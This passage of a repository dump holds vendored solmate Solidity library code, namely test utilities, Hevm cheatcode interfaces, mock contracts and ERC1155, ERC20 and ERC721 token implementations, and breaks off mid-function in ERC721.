    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {DSTest} from \"ds-test/test.sol\";\n\nimport {Hevm} from \"./Hevm.sol\";\n\n/// @notice Extended testing framework for DappTools projects.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/test/utils/DSTestPlus.sol)\ncontract DSTestPlus is DSTest {\n    Hevm internal constant hevm = Hevm(HEVM_ADDRESS);\n\n    address internal constant DEAD_ADDRESS = 0xDeaDbeefdEAdbeefdEadbEEFdeadbeEFdEaDbeeF;\n\n    string private checkpointLabel;\n    uint256 private checkpointGasLeft;\n\n    function startMeasuringGas(string memory label) internal virtual {\n        checkpointLabel = label;\n        checkpointGasLeft = gasleft();\n    }\n\n    function stopMeasuringGas() internal virtual {\n        uint256 checkpointGasLeft2 = gasleft();\n\n        string memory label = checkpointLabel;\n\n        emit log_named_uint(string(abi.encodePacked(label, \" Gas\")), checkpointGasLeft - checkpointGasLeft2);\n    }\n\n    function fail(string memory err) internal virtual {\n        emit log_named_string(\"Error\", err);\n        fail();\n    }\n\n    function assertFalse(bool data) internal virtual {\n        assertTrue(!data);\n    }\n\n    function assertUint128Eq(uint128 a, uint128 b) internal virtual {\n        assertEq(uint256(a), uint256(b));\n    }\n\n    function assertUint64Eq(uint64 a, uint64 b) internal virtual {\n        assertEq(uint256(a), uint256(b));\n    }\n\n    function assertUint96Eq(uint96 a, uint96 b) internal virtual {\n        assertEq(uint256(a), uint256(b));\n    }\n\n    function assertUint32Eq(uint32 a, uint32 b) internal virtual {\n        assertEq(uint256(a), uint256(b));\n    }\n\n    function assertBoolEq(bool a, bool b) internal virtual {\n        b ? assertTrue(a) : assertFalse(a);\n    }\n\n    function assertApproxEq(\n        uint256 a,\n        uint256 b,\n        uint256 maxDelta\n    ) internal virtual {\n        uint256 delta = a > b ? a - b : b - a;\n\n        if (delta > maxDelta) {\n            emit log(\"Error: a ~= b not satisfied [uint]\");\n            emit log_named_uint(\"  Expected\", a);\n            emit log_named_uint(\"    Actual\", b);\n            emit log_named_uint(\" Max Delta\", maxDelta);\n            emit log_named_uint(\"     Delta\", delta);\n            fail();\n        }\n    }\n\n    function assertRelApproxEq(\n        uint256 a,\n        uint256 b,\n        uint256 maxPercentDelta\n    ) internal virtual {\n        uint256 delta = a > b ? a - b : b - a;\n        uint256 abs = a > b ? a : b;\n\n        uint256 percentDelta = (delta * 1e18) / abs;\n\n        if (percentDelta > maxPercentDelta) {\n            emit log(\"Error: a ~= b not satisfied [uint]\");\n            emit log_named_uint(\"    Expected\", a);\n            emit log_named_uint(\"      Actual\", b);\n            emit log_named_uint(\" Max % Delta\", maxPercentDelta);\n            emit log_named_uint(\"     % Delta\", percentDelta);\n            fail();\n        }\n    }\n\n    function assertBytesEq(bytes memory a, bytes memory b) internal virtual {\n        if (keccak256(a) != keccak256(b)) {\n            emit log(\"Error: a == b not satisfied [bytes]\");\n            emit log_named_bytes(\"  Expected\", b);\n            emit log_named_bytes(\"    Actual\", a);\n            fail();\n        }\n    }\n\n    function assertUintArrayEq(uint256[] memory a, uint256[] memory b) internal virtual {\n        require(a.length == b.length, \"LENGTH_MISMATCH\");\n\n        for (uint256 i = 0; i < a.length; i++) {\n            assertEq(a[i], b[i]);\n        }\n    }\n\n    function bound(\n        uint256 x,\n        uint256 min,\n        uint256 max\n    ) internal pure returns (uint256 result) {\n        require(max >= min, \"MAX_LESS_THAN_MIN\");\n\n        uint256 size = max - min;\n\n        if (max != type(uint256).max) size++; // Make the max inclusive.\n        if (size == 0) return min; // Using max would be equivalent as well.\n        // Ensure max is inclusive in cases where x != 0 and max is at uint max.\n        if (max == type(uint256).max && x != 0) x--; // Accounted for later.\n\n        if (x < min) x += size * (((min - x) / size) + 1);\n        result = min + ((x - min) % size);\n\n        // Account for decrementing x to make max inclusive.\n        if (max == type(uint256).max && x != 0) result++;\n    }\n\n    function min3(\n        uint256 a,\n        uint256 b,\n        uint256 c\n    ) internal pure returns (uint256) {\n        return a > b ? (b > c ? c : b) : (a > c ? c : a);\n    }\n\n    function min2(uint256 a, uint256 b) internal pure returns (uint256) {\n        return a > b ? b : a;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/Hevm.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\ninterface Hevm {\n    function warp(uint256) external;\n\n    function roll(uint256) external;\n\n    function fee(uint256) external;\n\n    function load(address, bytes32) external returns (bytes32);\n\n    function store(\n        address,\n        bytes32,\n        bytes32\n    ) external;\n\n    function sign(uint256, bytes32)\n        external\n        returns (\n            uint8,\n            bytes32,\n            bytes32\n        );\n\n    function addr(uint256) external returns (address);\n\n    function ffi(string[] calldata) external returns (bytes memory);\n\n    function prank(address) external;\n\n    function startPrank(address) external;\n\n    function prank(address, address) external;\n\n    function startPrank(address, address) external;\n\n    function stopPrank() external;\n\n    function deal(address, uint256) external;\n\n    function etch(address, bytes calldata) external;\n\n    function expectRevert(bytes calldata) external;\n\n    function expectRevert(bytes4) external;\n\n    function record() external;\n\n    function accesses(address) external returns (bytes32[] memory reads, bytes32[] memory writes);\n\n    function expectEmit(\n        bool,\n        bool,\n        bool,\n        bool\n    ) external;\n\n    function mockCall(\n        address,\n        bytes calldata,\n        bytes calldata\n    ) external;\n\n    function clearMockedCalls() external;\n\n    function expectCall(address, bytes calldata) external;\n\n    function getCode(string calldata) external returns (bytes memory);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/mocks/MockAuthChild.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {Auth, Authority} from \"../../../auth/Auth.sol\";\n\ncontract MockAuthChild is Auth(msg.sender, Authority(address(0))) {\n    bool public flag;\n\n    function updateFlag() public virtual requiresAuth {\n        flag = true;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/mocks/MockAuthority.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {Authority} from \"../../../auth/Auth.sol\";\n\ncontract MockAuthority is Authority {\n    bool immutable allowCalls;\n\n    constructor(bool _allowCalls) {\n        allowCalls = _allowCalls;\n    }\n\n    function canCall(\n        address,\n        address,\n        bytes4\n    ) public view override returns (bool) {\n        return allowCalls;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/mocks/MockERC1155.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC1155} from \"../../../tokens/ERC1155.sol\";\n\ncontract MockERC1155 is ERC1155 {\n    function uri(uint256) public pure virtual override returns (string memory) {}\n\n    function mint(\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) public virtual {\n        _mint(to, id, amount, data);\n    }\n\n    function batchMint(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) public virtual {\n        _batchMint(to, ids, amounts, data);\n    }\n\n    function burn(\n        address from,\n        uint256 id,\n        uint256 amount\n    ) public virtual {\n        _burn(from, id, amount);\n    }\n\n    function batchBurn(\n        address from,\n        uint256[] memory ids,\n        uint256[] memory amounts\n    ) public virtual {\n        _batchBurn(from, ids, amounts);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/mocks/MockERC20.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC20} from \"../../../tokens/ERC20.sol\";\n\ncontract MockERC20 is ERC20 {\n    constructor(\n        string memory _name,\n        string memory _symbol,\n        uint8 _decimals\n    ) ERC20(_name, _symbol, _decimals) {}\n\n    function mint(address to, uint256 value) public virtual {\n        _mint(to, value);\n    }\n\n    function burn(address from, uint256 value) public virtual {\n        _burn(from, value);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/mocks/MockERC4626.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC20} from \"../../../tokens/ERC20.sol\";\nimport {ERC4626} from \"../../../mixins/ERC4626.sol\";\n\ncontract MockERC4626 is ERC4626 {\n    uint256 public beforeWithdrawHookCalledCounter = 0;\n    uint256 public afterDepositHookCalledCounter = 0;\n\n    constructor(\n        ERC20 _underlying,\n        string memory _name,\n        string memory _symbol\n    ) ERC4626(_underlying, _name, _symbol) {}\n\n    function totalAssets() public view override returns (uint256) {\n        return asset.balanceOf(address(this));\n    }\n\n    function beforeWithdraw(uint256, uint256) internal override {\n        beforeWithdrawHookCalledCounter++;\n    }\n\n    function afterDeposit(uint256, uint256) internal override {\n        afterDepositHookCalledCounter++;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/mocks/MockERC721.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC721} from \"../../../tokens/ERC721.sol\";\n\ncontract MockERC721 is ERC721 {\n    constructor(string memory _name, string memory _symbol) ERC721(_name, _symbol) {}\n\n    function tokenURI(uint256) public pure virtual override returns (string memory) {}\n\n    function mint(address to, uint256 tokenId) public virtual {\n        _mint(to, tokenId);\n    }\n\n    function burn(uint256 tokenId) public virtual {\n        _burn(tokenId);\n    }\n\n    function safeMint(address to, uint256 tokenId) public virtual {\n        _safeMint(to, tokenId);\n    }\n\n    function safeMint(\n        address to,\n        uint256 tokenId,\n        bytes memory data\n    ) public virtual {\n        _safeMint(to, tokenId, data);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/users/ERC1155User.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC1155, ERC1155TokenReceiver} from \"../../../tokens/ERC1155.sol\";\n\ncontract ERC1155User is ERC1155TokenReceiver {\n    ERC1155 token;\n\n    constructor(ERC1155 _token) {\n        token = _token;\n    }\n\n    function onERC1155Received(\n        address,\n        address,\n        uint256,\n        uint256,\n        bytes calldata\n    ) external virtual override returns (bytes4) {\n        return ERC1155TokenReceiver.onERC1155Received.selector;\n    }\n\n    function onERC1155BatchReceived(\n        address,\n        address,\n        uint256[] calldata,\n        uint256[] calldata,\n        bytes calldata\n    ) external virtual override returns (bytes4) {\n        return ERC1155TokenReceiver.onERC1155BatchReceived.selector;\n    }\n\n    function setApprovalForAll(address operator, bool approved) public virtual {\n        token.setApprovalForAll(operator, approved);\n    }\n\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) public virtual {\n        token.safeTransferFrom(from, to, id, amount, data);\n    }\n\n    function safeBatchTransferFrom(\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) public virtual {\n        token.safeBatchTransferFrom(from, to, ids, amounts, data);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/users/ERC20User.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC20} from \"../../../tokens/ERC20.sol\";\n\ncontract ERC20User {\n    ERC20 token;\n\n    constructor(ERC20 _token) {\n        token = _token;\n    }\n\n    function approve(address spender, uint256 amount) public virtual returns (bool) {\n        return token.approve(spender, amount);\n    }\n\n    function transfer(address to, uint256 amount) public virtual returns (bool) {\n        return token.transfer(to, amount);\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 amount\n    ) public virtual returns (bool) {\n        return token.transferFrom(from, to, amount);\n    }\n\n    function permit(\n        address owner,\n        address spender,\n        uint256 value,\n        uint256 deadline,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) public virtual {\n        return token.permit(owner, spender, value, deadline, v, r, s);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/users/ERC4626User.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC20} from \"../../../tokens/ERC20.sol\";\nimport {ERC4626} from \"../../../mixins/ERC4626.sol\";\n\nimport {ERC20User} from \"./ERC20User.sol\";\n\ncontract ERC4626User is ERC20User {\n    ERC4626 vault;\n\n    constructor(ERC4626 _vault, ERC20 _token) ERC20User(_token) {\n        vault = _vault;\n    }\n\n    function deposit(uint256 amount, address to) public virtual returns (uint256 shares) {\n        return vault.deposit(amount, to);\n    }\n\n    function mint(uint256 shares, address to) public virtual returns (uint256 underlyingAmount) {\n        return vault.mint(shares, to);\n    }\n\n    function withdraw(\n        uint256 amount,\n        address to,\n        address from\n    ) public virtual returns (uint256 shares) {\n        return vault.withdraw(amount, to, from);\n    }\n\n    function redeem(\n        uint256 shares,\n        address to,\n        address from\n    ) public virtual returns (uint256 underlyingAmount) {\n        return vault.redeem(shares, to, from);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/users/ERC721User.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC721, ERC721TokenReceiver} from \"../../../tokens/ERC721.sol\";\n\ncontract ERC721User is ERC721TokenReceiver {\n    ERC721 token;\n\n    constructor(ERC721 _token) {\n        token = _token;\n    }\n\n    function onERC721Received(\n        address,\n        address,\n        uint256,\n        bytes calldata\n    ) public virtual override returns (bytes4) {\n        return ERC721TokenReceiver.onERC721Received.selector;\n    }\n\n    function approve(address spender, uint256 tokenId) public virtual {\n        token.approve(spender, tokenId);\n    }\n\n    function setApprovalForAll(address operator, bool approved) public virtual {\n        token.setApprovalForAll(operator, approved);\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 tokenId\n    ) public virtual {\n        token.transferFrom(from, to, tokenId);\n    }\n\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 tokenId\n    ) public virtual {\n        token.safeTransferFrom(from, to, tokenId);\n    }\n\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 tokenId,\n        bytes memory data\n    ) public {\n        token.safeTransferFrom(from, to, tokenId, data);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/utils/users/GenericUser.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-or-later\npragma solidity >=0.8.0;\n\ncontract GenericUser {\n    function tryCall(address target, bytes memory data) public virtual returns (bool success, bytes memory returnData) {\n        (success, returnData) = target.call(data);\n    }\n\n    function call(address target, bytes memory data) public virtual returns (bytes memory returnData) {\n        bool success;\n        (success, returnData) = target.call(data);\n\n        if (!success) {\n            if (returnData.length > 0) {\n                assembly {\n                    let returnDataSize := mload(returnData)\n                    revert(add(32, returnData), returnDataSize)\n                }\n            } else {\n                revert(\"REVERTED_WITHOUT_A_MESSAGE\");\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/tokens/ERC1155.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Minimalist and gas efficient standard ERC1155 implementation.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC1155.sol)\nabstract contract ERC1155 {\n    /*///////////////////////////////////////////////////////////////\n                                EVENTS\n    //////////////////////////////////////////////////////////////*/\n\n    event TransferSingle(\n        address indexed operator,\n        address indexed from,\n        address indexed to,\n        uint256 id,\n        uint256 amount\n    );\n\n    event TransferBatch(\n        address indexed operator,\n        address indexed from,\n        address indexed to,\n        uint256[] ids,\n        uint256[] amounts\n    );\n\n    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n    event URI(string value, uint256 indexed id);\n\n    /*///////////////////////////////////////////////////////////////\n                            ERC1155 STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    mapping(address => mapping(uint256 => uint256)) public balanceOf;\n\n    mapping(address => mapping(address => bool)) public isApprovedForAll;\n\n    /*///////////////////////////////////////////////////////////////\n                             METADATA LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function uri(uint256 id) public view virtual returns (string memory);\n\n    /*///////////////////////////////////////////////////////////////\n                             ERC1155 LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function setApprovalForAll(address operator, bool approved) public virtual {\n        isApprovedForAll[msg.sender][operator] = approved;\n\n        emit ApprovalForAll(msg.sender, operator, approved);\n    }\n\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) public virtual {\n        require(msg.sender == from || isApprovedForAll[from][msg.sender], \"NOT_AUTHORIZED\");\n\n        balanceOf[from][id] -= amount;\n        balanceOf[to][id] += amount;\n\n        emit TransferSingle(msg.sender, from, to, id, amount);\n\n        require(\n            to.code.length == 0\n                ? to != address(0)\n                : ERC1155TokenReceiver(to).onERC1155Received(msg.sender, from, id, amount, data) ==\n                    ERC1155TokenReceiver.onERC1155Received.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n\n    function safeBatchTransferFrom(\n        address from,\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) public virtual {\n        uint256 idsLength = ids.length; // Saves MLOADs.\n\n        require(idsLength == amounts.length, \"LENGTH_MISMATCH\");\n\n        require(msg.sender == from || isApprovedForAll[from][msg.sender], \"NOT_AUTHORIZED\");\n\n        for (uint256 i = 0; i < idsLength; ) {\n            uint256 id = ids[i];\n            uint256 amount = amounts[i];\n\n            balanceOf[from][id] -= amount;\n            balanceOf[to][id] += amount;\n\n            // An array can't have a total length\n            // larger than the max uint256 value.\n            unchecked {\n                i++;\n            }\n        }\n\n        emit TransferBatch(msg.sender, from, to, ids, amounts);\n\n        require(\n            to.code.length == 0\n                ? to != address(0)\n                : ERC1155TokenReceiver(to).onERC1155BatchReceived(msg.sender, from, ids, amounts, data) ==\n                    ERC1155TokenReceiver.onERC1155BatchReceived.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n\n    function balanceOfBatch(address[] memory owners, uint256[] memory ids)\n        public\n        view\n        virtual\n        returns (uint256[] memory balances)\n    {\n        uint256 ownersLength = owners.length; // Saves MLOADs.\n\n        require(ownersLength == ids.length, \"LENGTH_MISMATCH\");\n\n        balances = new uint256[](owners.length);\n\n        // Unchecked because the only math done is incrementing\n        // the array index counter which cannot possibly overflow.\n        unchecked {\n            for (uint256 i = 0; i < ownersLength; i++) {\n                balances[i] = balanceOf[owners[i]][ids[i]];\n            }\n        }\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                              ERC165 LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function supportsInterface(bytes4 interfaceId) public pure virtual returns (bool) {\n        return\n            interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165\n            interfaceId == 0xd9b67a26 || // ERC165 Interface ID for ERC1155\n            interfaceId == 0x0e89341c; // ERC165 Interface ID for ERC1155MetadataURI\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                        INTERNAL MINT/BURN LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function _mint(\n        address to,\n        uint256 id,\n        uint256 amount,\n        bytes memory data\n    ) internal {\n        balanceOf[to][id] += amount;\n\n        emit TransferSingle(msg.sender, address(0), to, id, amount);\n\n        require(\n            to.code.length == 0\n                ? to != address(0)\n                : ERC1155TokenReceiver(to).onERC1155Received(msg.sender, address(0), id, amount, data) ==\n                    ERC1155TokenReceiver.onERC1155Received.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n\n    function _batchMint(\n        address to,\n        uint256[] memory ids,\n        uint256[] memory amounts,\n        bytes memory data\n    ) internal {\n        uint256 idsLength = ids.length; // Saves MLOADs.\n\n        require(idsLength == amounts.length, \"LENGTH_MISMATCH\");\n\n        for (uint256 i = 0; i < idsLength; ) {\n            balanceOf[to][ids[i]] += amounts[i];\n\n            // An array can't have a total length\n            // larger than the max uint256 value.\n            unchecked {\n                i++;\n            }\n        }\n\n        emit TransferBatch(msg.sender, address(0), to, ids, amounts);\n\n        require(\n            to.code.length == 0\n                ? to != address(0)\n                : ERC1155TokenReceiver(to).onERC1155BatchReceived(msg.sender, address(0), ids, amounts, data) ==\n                    ERC1155TokenReceiver.onERC1155BatchReceived.selector,\n            \"UNSAFE_RECIPIENT\"\n        );\n    }\n\n    function _batchBurn(\n        address from,\n        uint256[] memory ids,\n        uint256[] memory amounts\n    ) internal {\n        uint256 idsLength = ids.length; // Saves MLOADs.\n\n        require(idsLength == amounts.length, \"LENGTH_MISMATCH\");\n\n        for (uint256 i = 0; i < idsLength; ) {\n            balanceOf[from][ids[i]] -= amounts[i];\n\n            // An array can't have a total length\n            // larger than the max uint256 value.\n            unchecked {\n                i++;\n            }\n        }\n\n        emit TransferBatch(msg.sender, from, address(0), ids, amounts);\n    }\n\n    function _burn(\n        address from,\n        uint256 id,\n        uint256 amount\n    ) internal {\n        balanceOf[from][id] -= amount;\n\n        emit TransferSingle(msg.sender, from, address(0), id, amount);\n    }\n}\n\n/// @notice A generic interface for a contract which properly accepts ERC1155 tokens.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC1155.sol)\ninterface ERC1155TokenReceiver {\n    function onERC1155Received(\n        address operator,\n        address from,\n        uint256 id,\n        uint256 amount,\n        bytes calldata data\n    ) external returns (bytes4);\n\n    function onERC1155BatchReceived(\n        address operator,\n        address from,\n        uint256[] calldata ids,\n        uint256[] calldata amounts,\n        bytes calldata data\n    ) external returns (bytes4);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/tokens/ERC20.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol)\n/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol)\n/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it.\nabstract contract ERC20 {\n    /*///////////////////////////////////////////////////////////////\n                                  EVENTS\n    //////////////////////////////////////////////////////////////*/\n\n    event Transfer(address indexed from, address indexed to, uint256 amount);\n\n    event Approval(address indexed owner, address indexed spender, uint256 amount);\n\n    /*///////////////////////////////////////////////////////////////\n                             METADATA STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    string public name;\n\n    string public symbol;\n\n    uint8 public immutable decimals;\n\n    /*///////////////////////////////////////////////////////////////\n                              ERC20 STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    uint256 public totalSupply;\n\n    mapping(address => uint256) public balanceOf;\n\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    /*///////////////////////////////////////////////////////////////\n                             EIP-2612 STORAGE\n    //////////////////////////////////////////////////////////////*/\n\n    uint256 internal immutable INITIAL_CHAIN_ID;\n\n    bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR;\n\n    mapping(address => uint256) public nonces;\n\n    /*///////////////////////////////////////////////////////////////\n                               CONSTRUCTOR\n    //////////////////////////////////////////////////////////////*/\n\n    constructor(\n        string memory _name,\n        string memory _symbol,\n        uint8 _decimals\n    ) {\n        name = _name;\n        symbol = _symbol;\n        decimals = _decimals;\n\n        INITIAL_CHAIN_ID = block.chainid;\n        INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator();\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                              ERC20 LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function approve(address spender, uint256 amount) public virtual returns (bool) {\n        allowance[msg.sender][spender] = amount;\n\n        emit Approval(msg.sender, spender, amount);\n\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) public virtual returns (bool) {\n        balanceOf[msg.sender] -= amount;\n\n        // Cannot overflow because the sum of all user\n        // balances can't exceed the max uint256 value.\n        unchecked {\n            balanceOf[to] += amount;\n        }\n\n        emit Transfer(msg.sender, to, amount);\n\n        return true;\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 amount\n    ) public virtual returns (bool) {\n        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.\n\n        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;\n\n        balanceOf[from] -= amount;\n\n        // Cannot overflow because the sum of all user\n        // balances can't exceed the max uint256 value.\n        unchecked {\n            balanceOf[to] += amount;\n        }\n\n        emit Transfer(from, to, amount);\n\n        return true;\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                              EIP-2612 LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function permit(\n        address owner,\n        address spender,\n        uint256 value,\n        uint256 deadline,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) public virtual {\n        require(deadline >= block.timestamp, \"PERMIT_DEADLINE_EXPIRED\");\n\n        // Unchecked because the only math done is incrementing\n        // the owner's nonce which cannot realistically overflow.\n        unchecked {\n            bytes32 digest = keccak256(\n                abi.encodePacked(\n                    \"\\x19\\x01\",\n                    DOMAIN_SEPARATOR(),\n                    keccak256(\n                        abi.encode(\n                            keccak256(\n                                \"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\"\n                            ),\n                            owner,\n                            spender,\n                            value,\n                            nonces[owner]++,\n                            deadline\n                        )\n                    )\n                )\n            );\n\n            address recoveredAddress = ecrecover(digest, v, r, s);\n\n            require(recoveredAddress != address(0) && recoveredAddress == owner, \"INVALID_SIGNER\");\n\n            allowance[recoveredAddress][spender] = value;\n        }\n\n        emit Approval(owner, spender, value);\n    }\n\n    function DOMAIN_SEPARATOR() public view virtual returns (bytes32) {\n        return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator();\n    }\n\n    function computeDomainSeparator() internal view virtual returns (bytes32) {\n        return\n            keccak256(\n                abi.encode(\n                    keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"),\n                    keccak256(bytes(name)),\n                    keccak256(\"1\"),\n                    block.chainid,\n                    address(this)\n                )\n            );\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                       INTERNAL MINT/BURN LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function _mint(address to, uint256 amount) internal virtual {\n        totalSupply += amount;\n\n        // Cannot overflow because the sum of all user\n        // balances can't exceed the max uint256 value.\n        unchecked {\n            balanceOf[to] += amount;\n        }\n\n        emit Transfer(address(0), to, amount);\n    }\n\n    function _burn(address from, uint256 amount) internal virtual {\n        balanceOf[from] -= amount;\n\n        // Cannot underflow because a user's balance\n        // will never be larger than the total supply.\n        unchecked {\n            totalSupply -= amount;\n        }\n\n        emit Transfer(from, address(0), amount);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/tokens/ERC721.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Modern, minimalist, and gas efficient ERC-721 implementation.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC721.sol)\n/// @dev Note that balanceOf does not revert if passed the zero address, in defiance of the ERC.\nabstract contract ERC721 {\n    /*///////////////////////////////////////////////////////////////\n                                 EVENTS\n    //////////////////////////////////////////////////////////////*/\n\n    event Transfer(address indexed from, address indexed to, uint256 indexed id);\n\n    event Approval(address indexed owner, address indexed spender, uint256 indexed id);\n\n    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n    /*///////////////////////////////////////////////////////////////\n                          METADATA STORAGE/LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    string public name;\n\n    string public symbol;\n\n    function tokenURI(uint256 id) public view virtual returns (string memory);\n\n    /*///////////////////////////////////////////////////////////////\n                            ERC721 STORAGE                        \n    //////////////////////////////////////////////////////////////*/\n\n    mapping(address => uint256) public balanceOf;\n\n    mapping(uint256 => address) public ownerOf;\n\n    mapping(uint256 => address) public getApproved;\n\n    mapping(address => mapping(address => bool)) public isApprovedForAll;\n\n    /*///////////////////////////////////////////////////////////////\n                              CONSTRUCTOR\n    //////////////////////////////////////////////////////////////*/\n\n    constructor(string memory _name, string memory _symbol) {\n        name = _name;\n        symbol = _symbol;\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                              ERC721 LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function approve(address spender, uint256 id) public virtual {\n        address owner = ownerOf[id];\n\n        require(msg.sender == owner || isApprovedForAll[owner][msg.sender], \"NOT_AUTHORIZED\");\n\n        getApproved[id] = spender;\n\n        emit Approval(owner, spender, id);\n    }\n\n    function setApprovalForAll(address operator, bool approved) public virtual {\n        isApprovedForAll[msg.sender][operator] = approved;\n\n        emit ApprovalForAll(msg.sender, operator, approved);\n    }\n\n    function transferFrom(\n        address from,\n        address to,\n        uint256 id\n    ) public virtual {\n        require(from == ownerOf[id], \"WRONG_FROM\");\n\n        require(to != address(0), \"INVALID_RECIPIENT\");\n\n        require(\n            msg.sender == from || msg.sender == getApproved[id] || isApprovedForAll[from][msg.sender],\n            \"NOT_AUTHORIZED\"\n        );\n\n        // Underflow of the sender's balance is impossible because we check for\n        // ownership above and the recipient's balance can't realistically overflow.\n        unchecked {\n            balanceOf[from]--;\n\n            balanceOf[to]++;\n        }\n\n        ownerOf[id] = to;\n\n        delete 